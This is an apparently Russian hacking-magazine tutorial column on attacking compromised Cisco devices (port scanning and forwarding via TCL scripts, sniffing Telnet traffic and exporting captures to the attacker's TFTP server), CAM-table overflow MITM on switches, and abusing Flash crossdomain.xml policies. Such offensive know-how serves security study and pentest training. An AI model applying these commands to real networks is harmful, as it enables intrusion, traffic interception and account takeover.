Хакбук #195: атаки с Cisco, MITM через CAM, обход SOP для Flash

Настроить Cisco как сервер

Сегодня мы снова коснемся темы ломания Cisco-девайсов (роутеров, свичей), так сказать, продолжим начатое. В данной же задачке я хотел дополнить и поправить то, что было изложено в предыдущем номере.

Во-первых, на устройствах есть не два, а три варианта разделения пользователей: только по паролю, по логину и паролю или в модели «AAA» (тоже по логину и паролю). Практической разницы для пентестера вроде бы не наблюдается, но все-таки лучше отталкиваться от корректной информации.

Во-вторых, хотел дополнить задачку ситуацией, когда у нас есть уже похаканная циска и с нее мы пытаемся поломать другую циску по SNMP. А с учетом того, что на девайсе мы можем найти SNMP-клиент, то послать команды на переконфигурирование не составит труда (последовательность см. в прошлом номере). Но очень вероятно, что возникнет потребность скачать какие-то файлы с нашей захваченной циски на атакуемую (пример будет далее). Задачка эта нетрудная, но знать о таких возможностях желательно.

Суть в том, что циски (в зависимости от версии ОС) поставляются с различными сервисами. Самый простой и распространенный — TFTP (trivial file transfer protocol) 69/UDP порт. Это олдскульный протокол для передачи файлов. Он очень примитивен (вообще нет аутентификации, листинга директорий), но до сих пор часто используется в инфраструктуре сетевых устройств (роутеры, свичи, VoIP-телефоны). Так вот, данный сервис мы легко можем поднять на циске:

conf term
tftp-server flash:file_name.txt

И все! Теперь данный файл будет доступен для скачивания с циски по TFTP. Забрать его можно будет командой (или аналогами):

copy tftp://cisco_ip/file_name.txt flash:new_filename.txt

Но есть проблема, когда нам надо загрузить файл на какой-то сервер. К сожалению, TFTP в Cisco-девайсах позволяет лишь скачивать файлы, но не загружать их.

В зависимости от версии ОС в циске она может поддерживать также FTP (с 2007 уже нет), SCP, RCP и, возможно, еще какие-то протоколы. Вот последовательность команд для включения SSH c поддержкой SCP (если SSH уже настроена, то нужна только последняя команда).

ip domain-name company.com
hostname routername
crypto key generate rsa general-keys modulus 2048
username Username privilege 15 password CiscoPassword
aaa new-model
aaa authentication login default local
aaa authorization exec default local
ip scp server enable

В IOS команда для скачивания по SCP будет:

copy scp://username:password@192.168.1.1/file_name.txt flash:file.txt

Просканировать порты с Cisco

Представим себе, что мы успешно захватили контроль над Cisco-роутером и, возможно, даже получили доступ в новую подсеть (например, административный VLAN). Что же дальше мы можем сделать? Есть целый ряд возможных вариантов.

Для начала важно помнить о различных встроенных клиентах, о которых говорилось в предыдущей задачке, а также о таких классических тулзах, как ping, traceroute, — они присутствуют в большинстве IOS, и мы можем использовать их для выяснения нашей диспозиции.

Но кроме этого, циско-девайсы поддерживают скриптовый язык TCL (Tool Command Language). Это не какой-то специальный язык Cisco, а «обычный», просто сейчас уже не очень распространенный. Чем-то похож на Perl или Shell. И с его помощью мы можем реализовать множество классических задач. Например, сканер портов, бэкдор или кастомный клиент для какого-то протокола. Вот здесь ряд боевых примерчиков.

Для того чтобы запустить любой TCL-скрипт, нам потребуется команда tclsh, далее путь до скрипта и параметры. Причем данный путь может указывать и на удаленный хост (tftp://192.168.1.100/iosmap.tcl), и при этом все будет работать.

А вот отсюда мы можем скачать и интересующий нас порт-сканер — IOSmap. Поддерживается ping, TCP-connect, UDP-сканирование по диапазонам портов и хостов. Параметры и вывод сделан по аналогии с Nmap’ом.

Например:

tclsh iosmap.tcl –sT –p21,22,23,80,443 192.168.1.1

Здесь важно отметить, что это далеко не Nmap, а потому ждать аналогичной скорости бессмысленно. Но с задачей данная тулза справляется.

Кстати, потенциально скрипты могут отъедать прилично ресурсов на девайсе, так что будь поосторожней с ними.

Другие статьи в выпуске:

Хакер #195. Атаки на Oracle DB

• Содержание выпуска
• Подписка на «Хакер»-60%

Сделать проброс портов Cisco

Продолжим разбирать предыдущую ситуацию. Предположим, что мы обнаружили новый VLAN на скомпрометированной циске, посканировали его немного и нашли несколько потенциально интересных сервисов. Но как нам развернуть нашу дальнейшую атаку, если в данный VLAN, кроме как через цисочку, и не попасть?

Одно из решений, конечно же, проброс портов. И как ты, наверное, уже понял, с решением данной задачи нам также поможет TCL. По указанной выше ссылке мы также качаем и тулзу IOScat — аналог netcat’а.

Итак, давай представим, что у нас есть циска с IP-адресом 192.168.56.123 и некий сервер с IP-адресом 192.168.100.2, на который мы хотим провести атаку, но который недоступен нам напрямую. С помощью возможностей IOScat мы открываем порт 1234 на циске, на доступном нам интерфейсе, и указываем, что все получаемые данные должны передаваться на 192.168.100.2 на порт 80. В итоге, подключившись (браузером, например) к http://192.168.56.123:1234, в реальности мы будем взаимодействовать с веб-сервером 192.168.100.2 на 80-м TCP-порту.

Параметры же для IOScat будут следующие:

tclsh ioscat.tcl -ip1234 -oa192.168.100.2 -op80

• -ip — порт для входящих подключений;
• -oa — IP-адрес удаленного хоста;
• -op — удаленный порт, куда нужно пробрасывать подключения.

Итоги смотри на скриншоте.

Хочется отметить, что у IOScat есть целый ряд других методов применения. О них можно почитать в прилагающемся к скрипту PDF-мануале.

С другой стороны, стабильность тулзы может несколько прихрамывать.

Проснифать трафик с Cisco

Окей, мы разобрались с атаками через циску, но давай вспомним, что циска — это сетевое устройство, в которое физически что-то воткнуто. То есть оно изначально в позиции man-in-the-middle, и мы потенциально можем снифать проходящий через девайс трафик. Хотя почему потенциально — многие циски из коробки позволяют снифать трафик :). Более того, можно сохранять его сразу же в pcap-файлы, пригодные для анализа в Wireshark’e. Можно снифать входящий, исходящий или проходящий через циску трафик. Прекрасные-прекрасные возможности открываются перед нами.

Практически же реализуется это несколькими способами.

Первый из них для роутеров — Embedded Packet Capture (EPC), позволяет снифать данные и сохранять их в DRAM цисочки.

У метода есть следующие ограничения:

• должна быть включена поддержка Cisco Express Forwarding;
• версия IOS — 12.4(20) или выше;
• количество данных ограничивается памятью у циски.

Фактически последнее кажется достаточно серьезным для нас, так как память небезгранична. Примерно от 128 Мб до 4 Гб, не говоря уж о том, что циске и для корректной работы что-то оставить надо. Сразу же выгружать куда-то отснифанные данные не имеется возможности.

Но данная задачка достаточно легко решается за счет возможности выделения только интересующих нас физических интерфейсов, конкретных IP-адресов и протоколов/портов. Делается это с помощью access list’ов (и обычных, и расширенных).

Последовательность примерно следующая:

1. Выделяем буфер в памяти для трафика и привязываем к нему access-листы.
2. Создаем capture points (как бы интерфейсы), на которых будет производиться сниф трафика.
3. Определяем связь буфера с точкой.
4. Запускаем снифер.
5. Экспортируем данные в pcap (и сливаем их на внешний ресурс) или выводим в консоль.

Важный факт, что и буферов, и точек для снифа может быть несколько одновременно.

А теперь последовательность команд для снифа Telnet-трафика:

• Входим в режим конфигурирования

conf term

Создаем необходимые access list для ограничения трафика (только Telnet для любых IP):

ip access-list extended TELNET_ONLY
permit tcp any any eq telnet

Выходим из режима конфигурирования в EXEC:

exit
exit

• Создаем буфера и указываем размер в 1 Мб (в килобайтах):

monitor capture buffer TELNET size 1024

Привязываем к нему access list:

monitor capture buffer TELNET filter access-list TELNET_ONLY

• Создаем capture point, указывая ему имя, интерфейс (можно на нескольких или даже всех), где снифать, а также какой (входящий или исходящий) трафик снифать:

monitor capture point ip cef SNIFF1 FastEthernet0/1 both

• Связываем буфер и точку снифа:

monitor capture point associate SNIFF1 TELNET

• Запускаем снифер командой

monitor capture point start SNIFF1

Останавливать можно командой

monitor capture point stop SNIFF1

• Далее экспортируем данные на наш внешний сервачок:

monitor capture buffer TELNET export tftp://our_ip/capture.pcap

Или же выводим сразу в консоль:

show monitor capture buffer TELNET dump

Вот так вот. Все достаточно просто, гибко и не требует какого-то внешнего софта. Это дает нам возможность достаточно безопасного использования функционала в боевых условиях.

Об остальных же способах снифа я расскажу в следующем выпуске Easy Hack.

Провести MITM на свиче через переполнение CAM

Послушав недавно некоторых интересных спецов, я четко осознал, что необходимо пополнить Easy Hack рядом задачек, связанных с атаками на уровень L2 модели OSI, то есть на протоколы и оборудование, работающие до IP-маршрутизации (Layer 3), в основном это всякие свичи (switch).

Тут же предупрежу, что я далеко не гуру данных вещей, мое представление всего чисто пентестерское, но я постараюсь донести правильные базовые концепции и основы. Кроме того, зная, что пробелы в знаниях людей в сетях достаточно велики, очень советую посмотреть курс «Сети для самых маленьких» на linkmeup.ru. Он будет полезен IT-специалисту любой области.

Вообще, свич — это относительно простое устройство со множеством физических портов. И все, что оно делает, — пересылает пакеты с одного порта на другой порт на основании MAC-адресов. Для конечных хостов (компьютеров) свичи практически прозрачны. Если сильно обобщить, то свичи являются связующими звеньями между хостами в рамках одной подсети (сегмента, LAN). Например, есть у нас подсеть 172.16.0.0/16, хосты внутри этого диапазона будут соединены, скорее всего, с помощью свичей. При этом надо сказать, что очень многие корпоративные сети так и построены — в виде большой «плоской» сети.

Конечно, одной из главных атак для локальных сегментов сети является ARP poisoning. Но не только ей все ограничивается. Результаты других атак при этом могут быть различны: man-in-the-midddle, отказ в обслуживании всей сети, обход каких-то ограничений (VLAN hopping). Кроме того, именно на уровне свичей чаще всего внедряется защита от ARP poisoning’а.

Давай же перейдем к первой атаке — переполнению CAM-таблицы. Для того чтобы ее понять, надо взглянуть на работу свича и хаба (hub).

Когда-то использовались такие устройства — хабы, которые тупо копировали все пакеты, приходящие на один сетевой интерфейс, на все другие интерфейсы. И все хосты, подключенные к хабу, видели весь трафик, предназначенный другим хостам. Но что хуже — пропорциональное падение производительности при увеличении количества хостов, даже если «общаются» в рамках самого хаба.

Решением было использование свичей, которые перенаправляют пакеты с интерфейса на интерфейс на основании MAC-адресов. Для этого имеется следующий механизм.

Изначально свич знает только MAC-адреса своих интерфейсов. Как только в интерфейс втыкают какой-то хост, хост начинает генерить различные запросы (DHCP, например). При этом свич просматривает входящие пакеты, вынимает из них MAC-адрес отправителя и добавляет в специальную CAM-таблицу (такой-то интерфейс такой-то MAC-адрес). Таким образом, свич теперь «знает» MAC хоста и на каком он физическом интерфейсе.

Но куда он передаст полученный от хоста пакет? Если MAC-адрес назначения уже есть в CAM-таблице, то свич перекинет пакет на нужный интерфейс, а если его нет (и это важно) — отправит пакет на все интерфейсы, кроме того, с которого пришел пакет. Казалось бы, такое должно случаться часто, и мы систематически должны получать пакеты для «чужих» MAC-адресов. Но это не так, в основном из-за специфики протокола ARP.

Когда хост А хочет послать что-то хосту Б, то он должен узнать его MAC-адрес, а потому посылает широковещательный ARP-запрос. Из этого запроса все свичи получают MAC-адрес хоста А. И когда хост Б отвечает на ARP-запрос, то свичи уже знают, куда пересылать пакет из CAM-таблицы, плюс добавляют в нее MAC-адрес хоста А.

Еще пара фактов. Широковещательные запросы рассылаются свичами широковещательно (на все интерфейсы, кроме входящего). Записи в CAM-таблице временные и хранятся примерно пять минут. На одном интерфейсе может быть «привязано» множество MAC-адресов.

И вот мы вплотную подошли к атаке. Думаю, что суть ее теперь понятна из названия.

CAM-таблица не может быть безразмерна, и есть ограничения. Вот кое-какие данные: у Cisco Catalyst 2960 — это 8192 MAC-адреса, для Cisco Catalyst 6000 серии — 128 000. А что произойдет, когда мы превысим данный предел? Здесь все зависит от оборудования. По не до конца подтвержденным данным: по умолчанию свичи D-link, Cisco начинают копировать все пакеты на все интерфейсы (считай, превращаются в хаб), HP ProCurve — блокируют интерфейс.

Чтобы замутить атаку, нам необходимо послать множество пакетов с различными MAC-адресами отправителя. Делается это достаточно быстро, как ты понимаешь. Тулза, которая может помочь, — macof, которая входит в коробку Kali. Далее включаем снифер (tcpdump, Wireshark) и выискиваем интересности.

О, еще важный факт — атака действует только в рамках твоего VLAN’а.

«Обойти» SOP для Flash

Чтобы разбавить немного наш «сетевой» Easy Hack, мне хотелось бы коснуться некоторых тонкостей темы Same Origin Policy в контексте Flash’а. С одной стороны, с ним все ясно — файл crossdomain.xml определяет правила доступа. Если он настроен небезопасно, то «все плохо» (для владельца ресурса). Но бывают и более тонкие ситуации, о которых мы и поговорим.

Для начала кратко напомню, что в рамках браузера SOP ограничивает (определяет) доступ ресурсов от одного сайта к другому. Сайт (origin) в нашем случае представляет собой связку схемы, имени домена и порта (http://gmail.com — один, https://gmail.com — уже другой). Таким образом, когда жертва входит на наш сайт evil.com, где у нас размещен Flash-ролик, то по умолчанию любые запросы из ролика (а Flash позволяет и посылать запросы, и читать ответы) на сайт gmail.com будут запрещены, а на тот же сайт evil.com — разрешены. Это и есть SOP.

Но так как нужно межсайтовое взаимодействие, то во флеше есть «костыль» для смягчения SOP в виде файла crossdomain.xml, который определяет политику доверия и размещается в корне сайта (в данном случае — gmail.com).

Вот пример crossdomain.xml, который разрешает полный доступ с любых (domain="*") сторонних сайтов:

<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>

Что это дает атакующему? Когда жертва войдет на наш сайт, из нашего ролика мы сможем посылать любые запросы на gmail.com и читать ответы. Куки при этом будут автоматически добавляться браузером ко всем запросам. Считай, возможен полный захват аккаунта пользователя. Правда, доступ к кукам и заголовкам не получить, есть ограничения и на код ответа (тело ответа с 404 не получить, например). С типичными случаями, думаю, все ясно. Мне бы хотелось обсудить ситуацию, когда файлов типа crossdomain.xml может быть несколько. Да-да, спецификация позволяет указывать, кроме основного файла crossdomain.xml, еще и дополнительные файлы с дополнительными политиками (более или менее демократичными). Возможно, в типовых проектах с таким встретиться маловероятно, но я несколько раз сталкивался с этим при анализе очень крупных корпоративных приложений (а-ля ERP-системы). В них любят внедрять различные «клиенты» на флеше. Итак, что здесь важного. Во-первых, если crossdomain.xml отсутствует в корне сайта, то остальные файлы для нас бесполезны. Если в нем отсутствует строка permitted-cross-domain-policies — аналогично. И только в случае, когда permitted-cross-domain-policies равно значению all или by-content-type, это разрешает нам указывать Flash’у файлы с дополнительными политиками. Если не ошибаюсь, когда-то (в 9-й и ранее версиях) оно работало и без файла crossdomain.xml в корне, но теперь по умолчанию Flash исходит из значения master-only. Во-вторых, если все ОK с корневым файлом, то нам необходимо найти/залить другие файлы политик. И здесь действуют следующие правила. В случае by-content-type политика должна отдаваться с заголовком «Content-Type: text/x-cross-domain-policy». Имя политики может быть практически любым (вроде совсем неважно и может быть итогом работы какого-нибудь скрипта), но сам файл должен быть корректным для парсинга. Если политика лежит не в корне, то ее действие распространяется только на ту директорию, где он расположен, а также на поддиректории. Например:

• http://gmail.com/subdir/any_name.xml — политика для Flash’а, разрешающая полный доступ;
• http://gmail.com/subdir/subsubdir/any_name — доступ разрешен;
• http://gmail.com/ — доступ запрещен;
• http://gmail.com/subdir2/ — доступ запрещен.

Это может нас ограничивать, но в определенных ситуациях можно попытаться ограничение обойти. И последнее. Если все хорошо, для практической эксплуатации уязвимости нам необходимо иметь возможность указать Flash’у путь до дополнительной политики. И в этом нам поможет следующая строка на ActionScript3:

flash.system.Security.loadPolicyFile("http://server_name/any_name.xml");

Кстати, стоит отметить, что указанная выше информация почти полностью справедлива и для Acrobat Reader. Из PDF’ок мы можем слать запросы, и ограничивается все crossdomain.xml.

Спасибо за внимание и успешных познаний нового!